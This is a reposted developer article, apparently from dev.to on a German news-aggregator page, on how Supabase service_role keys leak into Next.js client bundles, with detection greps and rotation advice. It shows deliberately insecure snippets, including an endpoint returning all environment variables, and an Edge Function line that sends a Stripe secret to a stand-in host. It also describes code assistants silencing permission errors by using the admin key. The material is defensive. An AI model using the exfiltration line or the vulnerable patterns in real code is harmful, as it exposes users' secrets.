🪟 Windows TippsThe Gemini desktop app is now available for Windows(11.09.2026 um 17:06 Uhr)
🔧 AI Nachrichten ChatGPT automatically logged out [Fix](12.09.2026 um 17:09 Uhr)
⚠️ Malware / Trojaner / VirenWindows 11 just dropped the tool ransomware abused, Microsoft says don’t restore WMIC(10.09.2026 um 20:11 Uhr)
🪟 Windows TippsServertimeout in Outlook über 10 Minuten verlängern(12.09.2026 um 15:10 Uhr)
🕵️ SicherheitslückenCVE-2026-84651 | Jenkins Project up to 2.567.x REST API permission(13.09.2026 um 04:28 Uhr)
🕵️ SicherheitslückenCVE-2026-84652 | Jenkins Project up to 2.567.x session fixiation(13.09.2026 um 04:28 Uhr)
🪟 Windows TippsThe Gemini desktop app is now available for Windows(11.09.2026 um 17:06 Uhr)
🔧 AI Nachrichten ChatGPT automatically logged out [Fix](12.09.2026 um 17:09 Uhr)
⚠️ Malware / Trojaner / VirenWindows 11 just dropped the tool ransomware abused, Microsoft says don’t restore WMIC(10.09.2026 um 20:11 Uhr)
🪟 Windows TippsServertimeout in Outlook über 10 Minuten verlängern(12.09.2026 um 15:10 Uhr)
🕵️ SicherheitslückenCVE-2026-84651 | Jenkins Project up to 2.567.x REST API permission(13.09.2026 um 04:28 Uhr)
🕵️ SicherheitslückenCVE-2026-84652 | Jenkins Project up to 2.567.x session fixiation(13.09.2026 um 04:28 Uhr)

🔧 Programmierung 🕛 vor 1 Monat 6 Min Lesezeit
0

Your Supabase service_role key is probably in your browser bundle

↗ Quelle (dev.to)
🗣️ Stimme:
📑 Inhaltsübersicht

Row Level Security is the part everyone talks about. The service_role key is the part that makes all of it irrelevant, and it leaks more often than RLS does.



The key bypasses RLS completely. That is its job — it is the admin key for server-side work. So if it is reachable from anything the browser downloads, every policy you wrote is decoration.



Here is how it actually gets there. None of these look like mistakes while you are writing them.






1. The NEXT_PUBLIC prefix



You had a working server call. It broke in a client component. The fastest fix that makes the error go away:




CODE
NEXT_PUBLIC_SUPABASE_SERVICE_ROLE_KEY=eyJ...






That prefix is not a naming convention. It is an instruction to Next.js to inline the value into the client bundle at build time. The error goes away because the key is now genuinely available in the browser — to your code, and to anyone who opens devtools.



If you have ever renamed an env var to make an error disappear, check this one first.






2. The key crossing the boundary as data, not as a bundle



First, the thing that does NOT leak, because it is worth being precise about. Next.js will not inline a non-public env var into the browser bundle. From the docs: "Non-NEXT_PUBLIC_ environment variables are only available in the Node.js environment, meaning they aren't accessible to the browser." So this, on its own, is fine, even if a client component imports something else from the same file:




CODE
// lib/db.ts
const admin = createClient(url, process.env.SUPABASE_SERVICE_ROLE_KEY!)






What leaks is handing the value across the boundary yourself. A Server Component that passes it down as a prop puts it in the RSC payload, and the RSC payload is sent to the browser:




CODE
// app/page.tsx  (Server Component)
export default async function Page() {
return <Widget apiKey={process.env.SUPABASE_SERVICE_ROLE_KEY!} />
}






A 'use client' on Widget is all it takes. The value is serialized into the flight response, and it will not appear in a grep of your static chunks, because it was never bundled. It was rendered.



The same goes for a key that was never an env var. A literal pasted into a config object during setup is just a string in a module, so if anything on the client imports that module, it ships.






3. An API route that echoes config



A debug endpoint someone added during setup and never removed:




CODE
export async function GET() {
return Response.json({ env: process.env })
}






It was useful for ten minutes. It is now a public endpoint that returns every secret the process can see.






4. Generated code that "used the key that worked"



When an assistant is asked to fix a permission error, one reliable way to make the error stop is to use the key that has permission for everything. It will often do exactly that, and the resulting code works, so it passes review. Nothing in the diff says "this bypasses your entire security model".






How to check, in about a minute



Build, then grep the output:




CODE
npm run build
grep -r "service_role" .next/static/ 2>/dev/null
grep -rE "eyJ[A-Za-z0-9_-]{20,}" .next/static/ | head






Supabase keys are JWTs, so they start with eyJ. If anything comes back from .next/static, it is in the browser bundle.



That grep will not catch case 2, though, because a rendered value was never bundled. For that one you have to look at what the server actually sends. Start the app and search the response itself:




CODE
npm run start
curl -s http://localhost:3000/ | grep -oE "eyJ[A-Za-z0-9_-]{20,}"






Do that for any route that renders a client component with props coming from server-side config. The anon key showing up here is expected and fine. Anything else is not.



Also check what you actually ship publicly:




CODE
grep -o "NEXT_PUBLIC_[A-Z_]*" .env* | sort -u






Read that list out loud. Anything on it is public. That is the whole meaning of the prefix.



And check for the echo case:




CODE
grep -rn "process.env" app/ pages/ --include="*.ts*" | grep -i "json\|return\|res\."









If you find one



Rotate it first, then fix the code. In Supabase: Settings, API, roll the service_role key. Fixing the code without rotating leaves a valid key in every bundle you have already deployed, in every browser cache, and in whatever crawled your site.



Then decide whether that key was ever needed client-side at all. Almost always the answer is that the operation belongs in a route handler or a server action, using the anon key plus a policy — not the admin key anywhere near the browser.






The version of this that roles cannot fix



There is a variant worth knowing about if you work with contractors, and it is not a bug you can patch in your own code.



Supabase project roles let you invite someone who cannot view or manage secrets. That reads like a boundary. It is not one, because a member who can deploy an Edge Function decides what code runs in the process that holds those secrets, and that code can simply send them somewhere:




CODE
await fetch('https://somewhere/?k=' + Deno.env.get('STRIPE_SECRET_KEY'))






Redacting the logs does not help, because the log was never the only exit. Deploy permission is transitively read-all-secrets permission.



I argued this in a public Supabase thread recently and their security review arrived at the same conclusion, so it is now heading toward a documentation change rather than a redaction feature:



And the reproduction of the RLS one, if you have not seen it — same test suite, red on one branch, green on the other, about two seconds: https://github.com/cekuu35/supabase-rls-leak-demo



Run the greps above before anything else though. They take a minute and they are the cheapest security work you will ever do.

Vollständiger Original-Bericht
Ausführliche Details, Code-Beispiele & Hersteller-Stellungnahme auf dev.to.
↗ Original-Artikel auf dev.to lesen
Wie bewertest du diesen Beitrag?
1 Klick Feedback
Teilen mit Netzwerk & Team:

Community-Analysen & Experten-Meinungen 0

Verfasse deine eigene Analyse, teile Workarounds oder diskutiere diesen Vorfall im Blog.
Noch keine Community-Analyse verfasst. Markiere einen Textabschnitt oder klicke oben auf Eigene Analyse verfassen“!
Community Pulse: Relevanz-Einschätzung
1 Klick Experten-Votum
🔴 Akute Relevanz 0%
🟡 In Evaluierung 0%
🟢 Keine Auswirkung 0%
Spannende Innovation 0%
Verwandte Story-Cluster & Quellen (Vektor-KI)
Port 8095 Engine
1 Quelle
The Gemini desktop app is now available for Windows
1 Quelle
ChatGPT automatically logged out [Fix]
1 Quelle
Windows 11 just dropped the tool ransomware abused, Microsoft says don’t restore WMIC